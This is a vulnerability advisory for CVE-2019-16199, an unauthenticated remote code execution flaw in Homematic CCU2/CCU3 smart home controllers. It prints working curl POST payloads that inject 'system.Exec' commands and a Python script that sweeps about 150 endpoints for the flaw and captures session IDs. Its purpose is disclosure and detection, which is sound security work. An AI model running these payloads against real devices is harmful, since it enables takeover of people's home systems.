CVE-2019-16199 eQ-3 Homematic CCU2 prior 2.47.18 and CCU3 prior 3.47.18 allow Remote Code Execution by unauthenticated attackers with access to the web interface via a HTTP POST request to certain URLs related to the ReGa core process

Overview

  • CVE: CVE-2019-16199
  • Author: psytester
  • Title: eQ-3 Homematic CCU2 prior 2.47.18 and CCU3 prior 3.47.18 allow Remote Code Execution by unauthenticated attackers with access to the web interface via a HTTP POST request to certain URLs related to the ReGa core process
  • Vulnerability Type: CWE-284: Improper Access Control
  • CVSSv3 Base Score: 10.0
  • CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
  • Publishing Date: 17.09.2019
  • Updated: –
  • Vendor: eQ-3 AG
  • Product: Homematic CCU2 and CCU3
  • Vendor contacted: 26.08.2019
  • Vendor confirmation: N.A.
  • Vendor patch: CCU2 2.47.18 & CCU3 3.47.18
  • Vendor Reference: N.A.
  • Affected Firmware version of CCU2: 2.35.16, 2.41.5, 2.41.8, 2.41.9, 2.45.6, 2.45.7, 2.47.10, 2.47.12, 2.47.15 tested
  • Affected Firmware version of CCU3: 3.41.11, 3.43.16, 3.45.5, 3.45.7, 3.47.10, 3.47.15 tested

Background

From vendor’s website for CCU2:
HomeMatic Central Control Unit CCU2

Homematic Central Control Unit is the central element of your Homematic system, offering a whole range of control, monitoring and configuration options for all the Homematic devices in your installation
[….]

From vendor’s website for CCU3:
The Central Control Unit CCU3 is the central element for local control of the Homematic IP smart home system. It represents the next generation of our proven Homematic Central Control Units CCU1 and CCU2. Operation via the Central Control Unit CCU3 can be used alternatively to the Homematic IP Access Point. While the Access Point establishes the connection to the free Homematic IP cloud and enables operation of the smart home system via a smartphone app, the Central Control Unit CCU3 works locally via a browser-based web interface (WebUI). Thanks to local configuration and operation as well as the option to create direct device connections, reliable and fail-proof operation of the smart home system is guaranteed at all times – even in the event of Internet failures.
[….]

Past eQ-3 press release about taking security updates seriously (in German only):
[…]
eQ-3 ist es wichtig, dass auch solche Lücken geschlossen werden, die für die meisten Installationen keine Rolle spielen.
[…]
Obwohl nur Nutzer betroffen sind, die gegen Sicherheitshinweise von eQ-3 verstoßen oder seit mehreren Jahren keine Sicherheitsupdates installiert haben, gibt eQ-3 solchen Fällen hohe Priorität und behebt entsprechende Sicherheitslücken schnellstmöglich nach Bekanntwerden in neuen Software-Versionen und Hotfixes.
[…]

Issue Description

While analyzing the CCU web interface based on given page files in file system path /www, an Improper Access Control resulting into Remote Code Execution vulnerability has been identified. This vulnerability can be exploited by unauthenticated attackers with access to the web interface.

The following simple HTTP POST requests (fixed since Firmware 2.47.18 / 3.47.18) illustrates the attack by waiting for 4 seconds:

curl -X POST -i 'http://1.2.3.4' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/esp/system.htm' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/esp/exec.htm' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/esp/devices.htm' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/esp/channels.htm' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/help.htm' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/NoAjaxBrowser.htm' --data 'var x=system.Exec("sleep 4;");'
curl -X POST -i 'http://1.2.3.4/logout.htm' --data 'var x=system.Exec("sleep 4;");'

The following python script checks which URLs are proofed to be vulnerable and detects the remote code execution condition.
checkRcePostURLs.py:

#! /usr/bin/python3

# Exploit Title: Homematic CCU2 and CCU3 RemoteCodeExecution on HTTP POST request detector
# Date: 29.08.2019
# Update: -----
# Exploit Author: psytester
# Vendor Homepage: https://www.eq-3.de
# Software Link: https://www.eq-3.de/service/downloads.html
# CCU2 Version: <= 2.47.15
# CCU3 Version: <= 3.47.15
# The OCCU opensource variants are affected too!
# RaspberryMatic Version: <= RaspberryMatic-3.47.15.20190823
# CVE : CVE-2019-16199

# Description: https://psytester.github.io/CVE-2019-16199
# Several URLs are passed from lighttpd webserver to ReGa process and a sub content of them allow unprotected POST requests with our RCE payload
# This script checks all URLs in CCU served by lighttpd webserver


import http.client
import time
import os

host = '1.2.3.4'
port = 80

# on target machine search all *.htm and *.cgi pages served by the system
# and put those URLs (without the '/wwww') into the list below
# find /www -name "*.htm"
# find /www -name "*.html"
# find /www -name "*.cgi"
# Notice! pages located in /rega/ are finally served by ReGa process and in URI without "/rega" prefix - Those are the vulnerable pages :-)

allURIs = ('/ise/htm/header.htm', \
'/rega/licenseinfo.htm', \
'/rega/index.htm', \
'/rega/logout.htm', \
'/rega/esp/side.htm', \
'/rega/esp/programs.htm', \
'/rega/esp/sico.htm', \
'/rega/esp/rooms.htm', \
'/rega/esp/devices.htm', \
'/rega/esp/PrintProgram.htm', \
'/rega/esp/favorites.htm', \
'/rega/esp/exec.htm', \
'/rega/esp/datapointconfigurator.htm', \
'/rega/esp/system.htm', \
'/rega/esp/channels.htm', \
'/rega/esp/functions.htm', \
'/rega/pages/index.htm', \
'/rega/pages/tabs/guest/startpageguest.htm', \
'/rega/pages/tabs/user/userFirstStart.htm', \
'/rega/pages/tabs/user/newFav.htm', \
'/rega/pages/tabs/user/favOverview.htm', \
'/rega/pages/tabs/user/userAdministrationUser.htm', \
'/rega/pages/tabs/user/systemConfigUser.htm', \
'/rega/pages/tabs/statusviews/alarmMessages.htm', \
'/rega/pages/tabs/statusviews/serviceMessages.htm', \
'/rega/pages/tabs/favViewer.htm', \
'/rega/pages/tabs/favorites.htm', \
'/rega/pages/tabs/control/sysvars.htm', \
'/rega/pages/tabs/control/hroomchannels.htm', \
'/rega/pages/tabs/control/programs.htm', \
'/rega/pages/tabs/control/systemProtocolLoader.htm', \
'/rega/pages/tabs/control/hfuncchannels.htm', \
'/rega/pages/tabs/control/rooms.htm', \
'/rega/pages/tabs/control/devices.htm', \
'/rega/pages/tabs/control/systemProtocol.htm', \
'/rega/pages/tabs/control/hdevichannels.htm', \
'/rega/pages/tabs/control/functions.htm', \
'/rega/pages/tabs/admin/systemvars.htm', \
'/rega/pages/tabs/admin/systemconfig.htm', \
'/rega/pages/tabs/admin/userAdministration.htm', \
'/rega/pages/tabs/admin/msg/timemodule.htm', \
'/rega/pages/tabs/admin/msg/newSysVar.htm', \
'/rega/pages/tabs/admin/views/functionchannels.htm', \
'/rega/pages/tabs/admin/views/programlist.htm', \
'/rega/pages/tabs/admin/views/newdevices.htm', \
'/rega/pages/tabs/admin/views/programs.htm', \
'/rega/pages/tabs/admin/views/newDeviceLoader.htm', \
'/rega/pages/tabs/admin/views/rooms.htm', \
'/rega/pages/tabs/admin/views/newdevicechannels.htm', \
'/rega/pages/tabs/admin/views/roomchannels.htm', \
'/rega/pages/tabs/admin/views/newdevicechannelsloader.htm', \
'/rega/pages/tabs/admin/views/functions.htm', \
'/rega/pages/tabs/admin/linkprog.htm', \
'/rega/pages/tabs/admin/adminFirstStart.htm', \
'/rega/pages/tabs/control.htm', \
'/rega/pages/tabs/startpage.htm', \
'/rega/pages/msg/asir_setAlarm.htm', \
'/rega/pages/msg/setWTHControlAndSetPointTemperatureMode.htm', \
'/rega/pages/msg/statusinfoWarning.htm', \
'/rega/pages/msg/editScript.htm', \
'/rega/pages/msg/delSysVariable.htm', \
'/rega/pages/msg/autoLoginConfig.htm', \
'/rega/pages/msg/setRGBWController.htm', \
'/rega/pages/msg/securityFirstStart_tr.htm', \
'/rega/pages/msg/securityFirstStart_en.htm', \
'/rega/pages/msg/sysVarsArray.htm', \
'/rega/pages/msg/setAcousticSignalCombinedParam.htm', \
'/rega/pages/msg/userAccountConfigUser.htm', \
'/rega/pages/msg/setVIR_LG_RGBWController.htm', \
'/rega/pages/msg/insertValue.htm', \
'/rega/pages/msg/statusinfo.htm', \
'/rega/pages/msg/setStatusDisplay.htm', \
'/rega/pages/msg/createScript.htm', \
'/rega/pages/msg/popupTransEditor.htm', \
'/rega/pages/msg/programChooser.htm', \
'/rega/pages/msg/insertString.htm', \
'/rega/pages/msg/sysVarsSelection.htm', \
'/rega/pages/msg/userAccountConfigAdmin.htm', \
'/rega/pages/msg/chnListBody.htm', \
'/rega/pages/msg/sysVarsArrayAll.htm', \
'/rega/pages/msg/popupPropEditor.htm', \
'/rega/pages/msg/renameDevice.htm', \
'/rega/pages/msg/setPartyMode.htm', \
'/rega/pages/msg/setValueRange.htm', \
'/rega/pages/msg/chooseOULED16.htm', \
'/rega/pages/msg/askRenameAllChannels.htm', \
'/rega/pages/msg/setOUCFMMode.htm', \
'/rega/pages/msg/setVIR_LG_WHITEController.htm', \
'/rega/pages/msg/channelList.htm', \
'/rega/pages/msg/programChooserArray.htm', \
'/rega/pages/msg/controls.htm', \
'/rega/pages/msg/securityFirstStart_de.htm', \
'/rega/pages/msg/setJalousieActor.htm', \
'/rega/login.htm', \
'/rega/help.htm', \
'/rega/NoAjaxBrowser.htm', \
'/error/error-503.html', \
'/error/error-500.html', \
'/tools/HomeMatic-API.html', \
'/tools/devicetypes.html', \
'/tools/designer.html', \
'/webui/error/incompatiblebrowser.html', \
'/webui/error/notready.html', \
'/tcl/eq3_old/verifysid.cgi', \
'/tools/devconfig.cgi', \
'/tools/js/jsDevDescr.cgi', \
'/ise/checkrega.cgi', \
'/webui/style.cgi', \
'/verifysid.cgi', \
'/pda/main.cgi', \
'/pda/favlist.cgi', \
'/pda/index.cgi', \
'/pda/fav.cgi', \
'/pda/logout.cgi', \
'/api/homematic.cgi', \
'/api/backup/links.cgi', \
'/api/backup/textfile.cgi', \
'/api/backup/tarfile.cgi', \
'/api/backup/version.cgi', \
'/api/backup/login.cgi', \
'/api/backup/paramset.cgi', \
'/api/backup/binfile.cgi', \
'/api/backup/logout.cgi', \
'/api/backup/run-script.cgi', \
'/config/cp_software.cgi', \
'/config/ic_easymode.cgi', \
'/config/st_values.cgi', \
'/config/ic_ifacecmd.cgi', \
'/config/ic_linkpeerlist.cgi', \
'/config/cp_add_device.cgi', \
'/config/cp_time.cgi', \
'/config/control_panel.cgi', \
'/config/ic_selchannel.cgi', \
'/config/ic_deviceFirmwareOverview.cgi', \
'/config/cp_maintenance.cgi', \
'/config/display/datetime.cgi', \
'/config/display/newdevice.cgi', \
'/config/display/network.cgi', \
'/config/display/countdevices.cgi', \
'/config/display/hss_index.cgi', \
'/config/display/display.cgi', \
'/config/cp_security.cgi', \
'/config/verifysid.cgi', \
'/config/help.cgi', \
'/config/ic_seldevice.cgi', \
'/config/cp_display.cgi', \
'/config/ic_deviceparameters.cgi', \
'/config/ic_neweasymode.cgi', \
'/config/cp_network.cgi', \
'/config/ic_setprofiles.cgi', \
'/config/ic_md.cgi', \
'/upnp/index.cgi', \
'/upnp/basic_dev.cgi')


print('Will check POST request against target http://{}:{} now'.format(host, port))
for uri in allURIs:
	#print('Trying URI {}'.format(uri))
	print('{} of {}'.format(allURIs.index(uri), len(allURIs)))
	uri = uri.replace("/rega", "")

	HaveToRetry = True
	while HaveToRetry:
		startTime = time.time()
		connection = http.client.HTTPConnection(host, port, timeout=5)
		connection.request('POST', uri, 'var x=system.Exec("sleep 4;");')
		response = connection.getresponse()
		stopTime = time.time()
		executionTime = stopTime - startTime
		#print('Execution time was {}'.format(executionTime))
		#print('{} {} - response on POST request'.format(response.status, response.reason))
		try:
			content = response.read().decode('utf-8')
			#print(content[:100], '...')
			if (executionTime > 4):
				print('Strike! HTTP POST on URL \'{}\' got back processing time around 4 seconds ({}) which indicates a successful RemoteCodeExecution'.format(uri, executionTime))
			#else:
				#print('Seems to be NO RCE with execution time of {}'.format(executionTime))

			if (response.status == 404):
				#try to find the representing target URI by cutting the prefix
				print('This URI was not found, real URI could be {}'.format("/"+"/".join(uri.split("/")[2:])))

			if ("Zuviele gleichzeitige Verbindungen" not in content):
				location = response.getheader('Location')
				if (location is not None):
					if ("sid" in location):
						sessionid=location.split("sid=")[1]
						print('Strike for older CVE-2019-9583! HTTP POST on URL \'{}\' got back HTTP {} with a sessionID = \'{}\' in HTTP Header Location: {}'.format(uri, response.status, sessionid.replace("@", ""), location))
				#else:
					#print('Nothing. HTTP POST on URL \'{}\' got back HTTP {} without HTTP Header Location'.format(uri, response.status))
				HaveToRetry = False
				break
			else:
				HaveToRetry = True
				print('\tWe have to wait up to 5 minutes to clean the session list and this URL will be rechecked again! Because HTTP POST on URL \'{}\' catched HTTP {} with "Zuviele gleichzeitige Verbindungen"'.format(uri, response.status))
				time.sleep(300)
		except:
			pass
			# This was seen on some page calls. We do not need them in our URL check
			#print('Skipped response checking, because could not decode HTTP response as utf-8')
			HaveToRetry = False
			break

print('Finished')

CVE

CVE-2019-16199

CVSSv3 Base Score

CVSSv3 Base Score: 10.0

CVSSv3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Credit

psytester

Not owning an original CCU2 or CCU3, but you want to analyze the CCU ‘for free’?
You can download
piVCCU for running the original CCU3 Firmware in lxc container on RaspberryPi
RaspberryMatic for running the opensource OCCU based release on different boards

Disclaimer

The information provided is released “as is” without warranty of any kind. The publisher disclaims all warranties, either express or implied, including all warranties of merchantability. No responsibility is taken for the correctness of this information. In no event shall the publisher be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if the publisher has been advised of the possibility of such damages.

The contents of this advisory are copyright (c) 2019 by psytester and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

Written on September 17, 2019